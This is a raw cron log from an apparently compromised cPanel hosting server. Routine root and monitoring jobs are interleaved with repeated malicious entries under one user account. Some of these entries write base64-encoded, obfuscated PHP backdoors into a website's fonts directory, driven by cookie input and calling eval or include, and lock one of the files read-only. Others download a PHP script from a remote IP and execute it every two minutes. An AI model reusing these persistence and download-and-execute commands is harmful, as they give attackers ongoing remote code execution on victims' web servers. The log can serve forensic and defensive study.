Aug 31 23:09:01 ip-184-168-122-23 CROND[9904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:10:02 ip-184-168-122-23 CROND[9994]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:10:02 ip-184-168-122-23 CROND[9996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:10:02 ip-184-168-122-23 CROND[9997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:10:02 ip-184-168-122-23 CROND[9998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:10:02 ip-184-168-122-23 CROND[10000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:10:02 ip-184-168-122-23 CROND[10001]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 23:10:02 ip-184-168-122-23 CROND[10002]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:10:02 ip-184-168-122-23 CROND[10003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:11:01 ip-184-168-122-23 CROND[10182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:11:01 ip-184-168-122-23 CROND[10185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:11:01 ip-184-168-122-23 CROND[10184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:11:01 ip-184-168-122-23 CROND[10186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:12:01 ip-184-168-122-23 CROND[10265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:12:01 ip-184-168-122-23 CROND[10268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:12:01 ip-184-168-122-23 CROND[10267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:12:01 ip-184-168-122-23 CROND[10269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:12:01 ip-184-168-122-23 CROND[10271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:13:01 ip-184-168-122-23 CROND[10347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:13:01 ip-184-168-122-23 CROND[10348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:13:01 ip-184-168-122-23 CROND[10351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:13:01 ip-184-168-122-23 CROND[10349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:14:01 ip-184-168-122-23 CROND[10431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:14:01 ip-184-168-122-23 CROND[10433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:14:01 ip-184-168-122-23 CROND[10434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:14:01 ip-184-168-122-23 CROND[10437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:14:01 ip-184-168-122-23 CROND[10438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:15:01 ip-184-168-122-23 CROND[10528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:15:01 ip-184-168-122-23 CROND[10530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:15:01 ip-184-168-122-23 CROND[10532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:15:01 ip-184-168-122-23 CROND[10531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:15:01 ip-184-168-122-23 CROND[10534]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:15:01 ip-184-168-122-23 CROND[10538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:16:01 ip-184-168-122-23 CROND[10616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:16:01 ip-184-168-122-23 CROND[10618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:16:01 ip-184-168-122-23 CROND[10622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:16:01 ip-184-168-122-23 CROND[10620]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 23:16:01 ip-184-168-122-23 CROND[10623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:16:01 ip-184-168-122-23 CROND[10621]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:17:01 ip-184-168-122-23 CROND[10799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:17:01 ip-184-168-122-23 CROND[10798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:17:01 ip-184-168-122-23 CROND[10800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:17:01 ip-184-168-122-23 CROND[10801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:18:01 ip-184-168-122-23 CROND[10890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:18:01 ip-184-168-122-23 CROND[10892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:18:01 ip-184-168-122-23 CROND[10894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:18:01 ip-184-168-122-23 CROND[10893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:18:01 ip-184-168-122-23 CROND[10895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:19:01 ip-184-168-122-23 CROND[10977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:19:01 ip-184-168-122-23 CROND[10979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:19:01 ip-184-168-122-23 CROND[10980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:19:01 ip-184-168-122-23 CROND[10981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:20:02 ip-184-168-122-23 CROND[11075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 23:20:02 ip-184-168-122-23 CROND[11082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:20:02 ip-184-168-122-23 CROND[11083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:20:02 ip-184-168-122-23 CROND[11081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:20:02 ip-184-168-122-23 CROND[11078]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 23:20:02 ip-184-168-122-23 CROND[11079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:20:02 ip-184-168-122-23 CROND[11084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:20:02 ip-184-168-122-23 CROND[11077]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 23:20:02 ip-184-168-122-23 CROND[11085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:21:01 ip-184-168-122-23 CROND[11188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:21:01 ip-184-168-122-23 CROND[11189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:21:01 ip-184-168-122-23 CROND[11190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
